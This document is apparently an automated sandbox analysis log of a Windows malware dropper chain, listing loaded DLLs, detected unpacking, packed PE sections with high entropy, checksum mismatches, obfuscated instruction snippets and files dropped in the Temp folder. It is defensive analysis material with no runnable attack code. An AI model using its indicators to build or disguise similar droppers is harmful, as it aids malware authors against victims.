Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 3015168 > 1048576

Source: file.exe

Static PE information: Raw size of vzkjjryc is bigger than: 0x100000 < 0x2b6a00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Unpacked PE file: 3.2.G4X9C8XP66LPZY0PX2HHB5N.exe.590000.0.unpack :EW;.rsrc:W;.idata :W; :EW;iropgfss:EW;gmutwtzh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;iropgfss:EW;gmutwtzh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Unpacked PE file: 4.2.J2IWSCR5FJAMGGW2VC4ET4.exe.470000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fzxkvimr:EW;ubuokytu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fzxkvimr:EW;ubuokytu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.5c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;iropgfss:EW;gmutwtzh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;iropgfss:EW;gmutwtzh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Unpacked PE file: 6.2.3BW8PCDTI0L77ZRRJ1.exe.410000.0.unpack :EW;.rsrc:W;.idata :W;vxijesvo:EW;eoamyyhq:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 9.2.skotes.exe.5c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;iropgfss:EW;gmutwtzh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;iropgfss:EW;gmutwtzh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Unpacked PE file: 10.2.8138ba21a1.exe.410000.0.unpack :EW;.rsrc :W;.idata :W;vzkjjryc:EW;glqpzueu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;vzkjjryc:EW;glqpzueu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Unpacked PE file: 14.2.bd214fbd32.exe.50000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fzxkvimr:EW;ubuokytu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fzxkvimr:EW;ubuokytu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Unpacked PE file: 34.2.bd214fbd32.exe.50000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fzxkvimr:EW;ubuokytu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fzxkvimr:EW;ubuokytu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Unpacked PE file: 39.2.5VHE3T5UQF0Q17ZEPUURN3ZOS.exe.f80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;iropgfss:EW;gmutwtzh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;iropgfss:EW;gmutwtzh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Unpacked PE file: 40.2.H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.290000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fzxkvimr:EW;ubuokytu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fzxkvimr:EW;ubuokytu:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: random[1].exe.7.dr	Static PE information: real checksum: 0x2ea199 should be: 0x2e2aca
Source: bd214fbd32.exe.7.dr	Static PE information: real checksum: 0x1d5c72 should be: 0x1e322b
Source: H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.18.dr	Static PE information: real checksum: 0x1d5c72 should be: 0x1e322b
Source: 3BW8PCDTI0L77ZRRJ1.exe.0.dr	Static PE information: real checksum: 0x2a5a25 should be: 0x2ad370
Source: 5VHE3T5UQF0Q17ZEPUURN3ZOS.exe.18.dr	Static PE information: real checksum: 0x1dd786 should be: 0x1d2dcc
Source: 8138ba21a1.exe.7.dr	Static PE information: real checksum: 0x2ea199 should be: 0x2e2aca
Source: random[1].exe0.7.dr	Static PE information: real checksum: 0x1d5c72 should be: 0x1e322b
Source: J2IWSCR5FJAMGGW2VC4ET4.exe.0.dr	Static PE information: real checksum: 0x1d5c72 should be: 0x1e322b
Source: file.exe	Static PE information: real checksum: 0x2ea199 should be: 0x2e2aca
Source: skotes.exe.3.dr	Static PE information: real checksum: 0x1dd786 should be: 0x1d2dcc
Source: num[1].exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: G4X9C8XP66LPZY0PX2HHB5N.exe.0.dr	Static PE information: real checksum: 0x1dd786 should be: 0x1d2dcc

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: vzkjjryc
Source: file.exe	Static PE information: section name: glqpzueu
Source: file.exe	Static PE information: section name: .taggant
Source: 3BW8PCDTI0L77ZRRJ1.exe.0.dr	Static PE information: section name:
Source: 3BW8PCDTI0L77ZRRJ1.exe.0.dr	Static PE information: section name: .idata
Source: 3BW8PCDTI0L77ZRRJ1.exe.0.dr	Static PE information: section name: vxijesvo
Source: 3BW8PCDTI0L77ZRRJ1.exe.0.dr	Static PE information: section name: eoamyyhq
Source: 3BW8PCDTI0L77ZRRJ1.exe.0.dr	Static PE information: section name: .taggant
Source: G4X9C8XP66LPZY0PX2HHB5N.exe.0.dr	Static PE information: section name:
Source: G4X9C8XP66LPZY0PX2HHB5N.exe.0.dr	Static PE information: section name: .idata
Source: G4X9C8XP66LPZY0PX2HHB5N.exe.0.dr	Static PE information: section name:
Source: G4X9C8XP66LPZY0PX2HHB5N.exe.0.dr	Static PE information: section name: iropgfss
Source: G4X9C8XP66LPZY0PX2HHB5N.exe.0.dr	Static PE information: section name: gmutwtzh
Source: G4X9C8XP66LPZY0PX2HHB5N.exe.0.dr	Static PE information: section name: .taggant
Source: J2IWSCR5FJAMGGW2VC4ET4.exe.0.dr	Static PE information: section name:
Source: J2IWSCR5FJAMGGW2VC4ET4.exe.0.dr	Static PE information: section name: .rsrc
Source: J2IWSCR5FJAMGGW2VC4ET4.exe.0.dr	Static PE information: section name: .idata
Source: J2IWSCR5FJAMGGW2VC4ET4.exe.0.dr	Static PE information: section name:
Source: J2IWSCR5FJAMGGW2VC4ET4.exe.0.dr	Static PE information: section name: fzxkvimr
Source: J2IWSCR5FJAMGGW2VC4ET4.exe.0.dr	Static PE information: section name: ubuokytu
Source: J2IWSCR5FJAMGGW2VC4ET4.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: iropgfss
Source: skotes.exe.3.dr	Static PE information: section name: gmutwtzh
Source: skotes.exe.3.dr	Static PE information: section name: .taggant
Source: random[1].exe.7.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name: .rsrc
Source: random[1].exe.7.dr	Static PE information: section name: .idata
Source: random[1].exe.7.dr	Static PE information: section name: vzkjjryc
Source: random[1].exe.7.dr	Static PE information: section name: glqpzueu
Source: random[1].exe.7.dr	Static PE information: section name: .taggant
Source: 8138ba21a1.exe.7.dr	Static PE information: section name:
Source: 8138ba21a1.exe.7.dr	Static PE information: section name: .rsrc
Source: 8138ba21a1.exe.7.dr	Static PE information: section name: .idata
Source: 8138ba21a1.exe.7.dr	Static PE information: section name: vzkjjryc
Source: 8138ba21a1.exe.7.dr	Static PE information: section name: glqpzueu
Source: 8138ba21a1.exe.7.dr	Static PE information: section name: .taggant
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: fzxkvimr
Source: random[1].exe0.7.dr	Static PE information: section name: ubuokytu
Source: random[1].exe0.7.dr	Static PE information: section name: .taggant
Source: bd214fbd32.exe.7.dr	Static PE information: section name:
Source: bd214fbd32.exe.7.dr	Static PE information: section name: .rsrc
Source: bd214fbd32.exe.7.dr	Static PE information: section name: .idata
Source: bd214fbd32.exe.7.dr	Static PE information: section name:
Source: bd214fbd32.exe.7.dr	Static PE information: section name: fzxkvimr
Source: bd214fbd32.exe.7.dr	Static PE information: section name: ubuokytu
Source: bd214fbd32.exe.7.dr	Static PE information: section name: .taggant
Source: 5VHE3T5UQF0Q17ZEPUURN3ZOS.exe.18.dr	Static PE information: section name:
Source: 5VHE3T5UQF0Q17ZEPUURN3ZOS.exe.18.dr	Static PE information: section name: .idata
Source: 5VHE3T5UQF0Q17ZEPUURN3ZOS.exe.18.dr	Static PE information: section name:
Source: 5VHE3T5UQF0Q17ZEPUURN3ZOS.exe.18.dr	Static PE information: section name: iropgfss
Source: 5VHE3T5UQF0Q17ZEPUURN3ZOS.exe.18.dr	Static PE information: section name: gmutwtzh
Source: 5VHE3T5UQF0Q17ZEPUURN3ZOS.exe.18.dr	Static PE information: section name: .taggant
Source: H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.18.dr	Static PE information: section name:
Source: H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.18.dr	Static PE information: section name: .rsrc
Source: H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.18.dr	Static PE information: section name: .idata
Source: H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.18.dr	Static PE information: section name:
Source: H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.18.dr	Static PE information: section name: fzxkvimr
Source: H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.18.dr	Static PE information: section name: ubuokytu
Source: H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.18.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_00422918 push ebx; mov dword ptr [esp], 7F2F5BD5h	6_2_00422953
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0041E4D3 push eax; mov dword ptr [esp], 5EFBDD75h	6_2_0041EEA6
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0059BD53 push 712A873Ch; mov dword ptr [esp], esi	6_2_0059BD58
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0059A05D push ebp; mov dword ptr [esp], ecx	6_2_0059A1DB
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_00420849 push ebx; mov dword ptr [esp], edi	6_2_00421F11
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0058D855 push ecx; mov dword ptr [esp], esi	6_2_0058D856
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_00421859 push 3B77CFB0h; mov dword ptr [esp], ebp	6_2_0042185E
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_00423859 push ebx; mov dword ptr [esp], eax	6_2_004250A4
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0058C847 push 02CB4EC1h; mov dword ptr [esp], eax	6_2_0058CF00
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0059A071 push ebx; mov dword ptr [esp], ebp	6_2_0059A085
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0059C071 push edx; mov dword ptr [esp], ebx	6_2_0059C47A
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0059C071 push eax; mov dword ptr [esp], ebx	6_2_0059CEFA
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0059C071 push ecx; mov dword ptr [esp], 3F8554E7h	6_2_0059F6C2
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0041E870 push 255CAAB2h; mov dword ptr [esp], ebx	6_2_0041E882
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0041E076 push ebx; retf	6_2_0041E077
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_00422875 push ecx; mov dword ptr [esp], ebx	6_2_00424AE0
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0058D065 push 6E925831h; mov dword ptr [esp], edi	6_2_0058D070
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0041E80E push eax; mov dword ptr [esp], 7CB7852Bh	6_2_0041E81D
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0041E80E push ecx; mov dword ptr [esp], esi	6_2_0041E84F
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0041E80E push edi; mov dword ptr [esp], edx	6_2_0041E868
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0041E80E push eax; mov dword ptr [esp], esp	6_2_0041F216
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0059C00D push 74254063h; mov dword ptr [esp], esi	6_2_0059C012
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0059C00D push 06A6C598h; mov dword ptr [esp], ebp	6_2_005A04FA
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0059E83E push ecx; mov dword ptr [esp], ebp	6_2_0059E84B
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0059E83E push 252B2D1Bh; mov dword ptr [esp], ebx	6_2_0059E853
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0059E83E push 414E6051h; mov dword ptr [esp], esp	6_2_0059E862
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0059A02F push eax; mov dword ptr [esp], edi	6_2_0059B8C4
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0058C824 push ebx; mov dword ptr [esp], eax	6_2_0058C832
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0041E8C3 push esi; mov dword ptr [esp], ebx	6_2_0041E8CD
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0041D0CC push 5026E434h; mov dword ptr [esp], edi	6_2_0041D0DF
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_0058F0C9 pushad ; iretd	6_2_0058F0E4

Source: file.exe	Static PE information: section name: entropy: 7.9743511305048305
Source: 3BW8PCDTI0L77ZRRJ1.exe.0.dr	Static PE information: section name: entropy: 7.774389010907879
Source: G4X9C8XP66LPZY0PX2HHB5N.exe.0.dr	Static PE information: section name: entropy: 7.98429719456569
Source: G4X9C8XP66LPZY0PX2HHB5N.exe.0.dr	Static PE information: section name: iropgfss entropy: 7.952670628010361
Source: J2IWSCR5FJAMGGW2VC4ET4.exe.0.dr	Static PE information: section name: fzxkvimr entropy: 7.9537968539439525
Source: skotes.exe.3.dr	Static PE information: section name: entropy: 7.98429719456569
Source: skotes.exe.3.dr	Static PE information: section name: iropgfss entropy: 7.952670628010361
Source: random[1].exe.7.dr	Static PE information: section name: entropy: 7.9743511305048305
Source: 8138ba21a1.exe.7.dr	Static PE information: section name: entropy: 7.9743511305048305
Source: random[1].exe0.7.dr	Static PE information: section name: fzxkvimr entropy: 7.9537968539439525
Source: bd214fbd32.exe.7.dr	Static PE information: section name: fzxkvimr entropy: 7.9537968539439525
Source: 5VHE3T5UQF0Q17ZEPUURN3ZOS.exe.18.dr	Static PE information: section name: entropy: 7.98429719456569
Source: 5VHE3T5UQF0Q17ZEPUURN3ZOS.exe.18.dr	Static PE information: section name: iropgfss entropy: 7.952670628010361
Source: H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.18.dr	Static PE information: section name: fzxkvimr entropy: 7.9537968539439525

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Jump to dropped file
